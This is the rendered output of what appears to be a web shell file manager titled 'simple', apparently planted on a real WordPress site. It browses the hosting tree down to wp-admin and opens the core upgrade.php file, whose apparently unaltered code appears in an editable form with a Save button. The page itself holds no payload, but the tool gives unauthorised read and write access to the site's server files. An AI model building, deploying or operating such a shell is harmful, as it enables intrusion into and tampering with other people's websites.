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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2F'>rds-service.at</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Frds-service.at%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/</p><hr><h3>✏️ Editing: upgrade.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Upgrade WordPress Page.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * We are upgrading WordPress.
 *
 * @since 1.5.1
 * @var bool
 */
define( &#039;WP_INSTALLING&#039;, true );

/** Load WordPress Bootstrap */
require dirname( __DIR__ ) . &#039;/wp-load.php&#039;;

nocache_headers();

require_once ABSPATH . &#039;wp-admin/includes/upgrade.php&#039;;

delete_site_transient( &#039;update_core&#039; );

if ( isset( $_GET[&#039;step&#039;] ) ) {
	$step = $_GET[&#039;step&#039;];
} else {
	$step = 0;
}

// Do it. No output.
if ( &#039;upgrade_db&#039; === $step ) {
	wp_upgrade();
	die( &#039;0&#039; );
}

/**
 * @global string   $wp_version              The WordPress version string.
 * @global string   $required_php_version    The minimum required PHP version string.
 * @global string[] $required_php_extensions The names of required PHP extensions.
 * @global string   $required_mysql_version  The minimum required MySQL version string.
 * @global wpdb     $wpdb                    WordPress database abstraction object.
 */
global $wp_version, $required_php_version, $required_php_extensions, $required_mysql_version, $wpdb;

$step = (int) $step;

$php_version   = PHP_VERSION;
$mysql_version = $wpdb-&gt;db_version();
$php_compat    = version_compare( $php_version, $required_php_version, &#039;&gt;=&#039; );
if ( file_exists( WP_CONTENT_DIR . &#039;/db.php&#039; ) &amp;&amp; empty( $wpdb-&gt;is_mysql ) ) {
	$mysql_compat = true;
} else {
	$mysql_compat = version_compare( $mysql_version, $required_mysql_version, &#039;&gt;=&#039; );
}

$missing_extensions = array();

if ( isset( $required_php_extensions ) &amp;&amp; is_array( $required_php_extensions ) ) {
	foreach ( $required_php_extensions as $extension ) {
		if ( extension_loaded( $extension ) ) {
			continue;
		}

		$missing_extensions[] = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: The PHP extension name needed. */
			__( &#039;You cannot upgrade because &lt;a href=&quot;%1$s&quot;&gt;WordPress %2$s&lt;/a&gt; requires the %3$s PHP extension.&#039; ),
			$version_url,
			$wp_version,
			$extension
		);
	}
}

header( &#039;Content-Type: &#039; . get_option( &#039;html_type&#039; ) . &#039;; charset=&#039; . get_option( &#039;blog_charset&#039; ) );
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html &lt;?php language_attributes(); ?&gt;&gt;
&lt;head&gt;
	&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&gt;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;&lt;?php bloginfo( &#039;html_type&#039; ); ?&gt;; charset=&lt;?php echo get_option( &#039;blog_charset&#039; ); ?&gt;&quot; /&gt;
	&lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot; /&gt;
	&lt;title&gt;&lt;?php _e( &#039;WordPress &amp;rsaquo; Update&#039; ); ?&gt;&lt;/title&gt;
	&lt;?php wp_admin_css( &#039;install&#039;, true ); ?&gt;
&lt;/head&gt;
&lt;body class=&quot;wp-core-ui&quot;&gt;
&lt;p id=&quot;logo&quot;&gt;&lt;?php _e( &#039;WordPress&#039; ); ?&gt;&lt;/p&gt;

&lt;?php if ( (int) get_option( &#039;db_version&#039; ) === $wp_db_version || ! is_blog_installed() ) : ?&gt;

&lt;h1&gt;&lt;?php _e( &#039;No Update Required&#039; ); ?&gt;&lt;/h1&gt;
&lt;p&gt;&lt;?php _e( &#039;Your WordPress database is already up to date!&#039; ); ?&gt;&lt;/p&gt;
&lt;p class=&quot;step&quot;&gt;&lt;a class=&quot;button button-large&quot; href=&quot;&lt;?php echo esc_url( get_option( &#039;home&#039; ) ); ?&gt;/&quot;&gt;&lt;?php _e( &#039;Continue&#039; ); ?&gt;&lt;/a&gt;&lt;/p&gt;

	&lt;?php
elseif ( ! $php_compat || ! $mysql_compat ) :
	$version_url = sprintf(
		/* translators: %s: WordPress version. */
		esc_url( __( &#039;https://wordpress.org/documentation/wordpress-version/version-%s/&#039; ) ),
		sanitize_title( $wp_version )
	);

	$php_update_message = &#039;&lt;/p&gt;&lt;p&gt;&#039; . sprintf(
		/* translators: %s: URL to Update PHP page. */
		__( &#039;&lt;a href=&quot;%s&quot;&gt;Learn more about updating PHP&lt;/a&gt;.&#039; ),
		esc_url( wp_get_update_php_url() )
	);

	$annotation = wp_get_update_php_annotation();

	if ( $annotation ) {
		$php_update_message .= &#039;&lt;/p&gt;&lt;p&gt;&lt;em&gt;&#039; . $annotation . &#039;&lt;/em&gt;&#039;;
	}

	if ( ! $mysql_compat &amp;&amp; ! $php_compat ) {
		$message = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Minimum required MySQL version number, 5: Current PHP version number, 6: Current MySQL version number. */
			__( &#039;You cannot update because &lt;a href=&quot;%1$s&quot;&gt;WordPress %2$s&lt;/a&gt; requires PHP version %3$s or higher and MySQL version %4$s or higher. You are running PHP version %5$s and MySQL version %6$s.&#039; ),
			$version_url,
			$wp_version,
			$required_php_version,
			$required_mysql_version,
			$php_version,
			$mysql_version
		) . $php_update_message;
	} elseif ( ! $php_compat ) {
		$message = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required PHP version number, 4: Current PHP version number. */
			__( &#039;You cannot update because &lt;a href=&quot;%1$s&quot;&gt;WordPress %2$s&lt;/a&gt; requires PHP version %3$s or higher. You are running version %4$s.&#039; ),
			$version_url,
			$wp_version,
			$required_php_version,
			$php_version
		) . $php_update_message;
	} elseif ( ! $mysql_compat ) {
		$message = sprintf(
			/* translators: 1: URL to WordPress release notes, 2: WordPress version number, 3: Minimum required MySQL version number, 4: Current MySQL version number. */
			__( &#039;You cannot update because &lt;a href=&quot;%1$s&quot;&gt;WordPress %2$s&lt;/a&gt; requires MySQL version %3$s or higher. You are running version %4$s.&#039; ),
			$version_url,
			$wp_version,
			$required_mysql_version,
			$mysql_version
		);
	}

	echo &#039;&lt;p&gt;&#039; . $message . &#039;&lt;/p&gt;&#039;;
elseif ( count( $missing_extensions ) &gt; 0 ) :
	echo &#039;&lt;p&gt;&#039; . implode( &#039;&lt;/p&gt;&lt;p&gt;&#039;, $missing_extensions ) . &#039;&lt;/p&gt;&#039;;
else :
	switch ( $step ) :
		case 0:
			$goback = wp_get_referer();
			if ( $goback ) {
				$goback = sanitize_url( $goback );
				$goback = urlencode( $goback );
			}
			?&gt;
	&lt;h1&gt;&lt;?php _e( &#039;Database Update Required&#039; ); ?&gt;&lt;/h1&gt;
&lt;p&gt;&lt;?php _e( &#039;WordPress has been updated! Next and final step is to update your database to the newest version.&#039; ); ?&gt;&lt;/p&gt;
&lt;p&gt;&lt;?php _e( &#039;The database update process may take a little while, so please be patient.&#039; ); ?&gt;&lt;/p&gt;
&lt;p class=&quot;step&quot;&gt;&lt;a class=&quot;button button-large button-primary&quot; href=&quot;upgrade.php?step=1&amp;amp;backto=&lt;?php echo $goback; ?&gt;&quot;&gt;&lt;?php _e( &#039;Update WordPress Database&#039; ); ?&gt;&lt;/a&gt;&lt;/p&gt;
			&lt;?php
			break;
		case 1:
			wp_upgrade();

			$backto = ! empty( $_GET[&#039;backto&#039;] ) ? wp_unslash( urldecode( $_GET[&#039;backto&#039;] ) ) : __get_option( &#039;home&#039; ) . &#039;/&#039;;
			$backto = esc_url( $backto );
			$backto = wp_validate_redirect( $backto, __get_option( &#039;home&#039; ) . &#039;/&#039; );
			?&gt;
	&lt;h1&gt;&lt;?php _e( &#039;Update Complete&#039; ); ?&gt;&lt;/h1&gt;
	&lt;p&gt;&lt;?php _e( &#039;Your WordPress database has been successfully updated!&#039; ); ?&gt;&lt;/p&gt;
	&lt;p class=&quot;step&quot;&gt;&lt;a class=&quot;button button-large&quot; href=&quot;&lt;?php echo $backto; ?&gt;&quot;&gt;&lt;?php _e( &#039;Continue&#039; ); ?&gt;&lt;/a&gt;&lt;/p&gt;
			&lt;?php
			break;
endswitch;
endif;
?&gt;
&lt;/body&gt;
&lt;/html&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
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